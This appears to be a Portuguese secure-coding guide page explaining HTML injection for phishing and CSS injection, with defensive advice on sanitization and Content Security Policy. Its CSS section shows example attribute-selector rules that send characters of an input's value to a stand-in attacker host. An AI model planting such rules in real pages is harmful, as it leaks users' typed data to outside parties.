Skip to content

Injeções de HTML e CSS

Ataques de injeção buscam alterar a estrutura visual ou o comportamento da página injetando código que não deveria ser processado como tal.


1. HTML Injection

Similar ao XSS, mas focado em alterar a aparência ou inserir links de phishing em vez de executar scripts maliciosos. Um atacante pode injetar uma tag <a> que se sobrepõe a um botão legítimo para capturar o clique do usuário.


2. CSS Injection

Injetar estilos maliciosos que podem alterar a visibilidade de elementos ou até extrair dados através de seletores sensíveis a atributos.

  • Exemplo de exfiltração de dados:
css
input[value^="a"] { background: url('https://atacker.com/log?key=a'); }
input[value^="b"] { background: url('https://atacker.com/log?key=b'); }

Neste exemplo, o navegador faz uma requisição para o servidor do atacante toda vez que um caractere digitado no input coincide com o seletor.


Melhores Práticas

✅ Como fazer

  • Sanitize qualquer entrada do usuário que será renderizada, mesmo que seja apenas "texto formatado".
  • Use o Content Security Policy (CSP) para restringir de onde os estilos podem ser carregados (style-src).

❌ Como não fazer

  • Não permita que usuários injetem estilos inline (style="...") ou tags <style> sem uma limpeza rigorosa.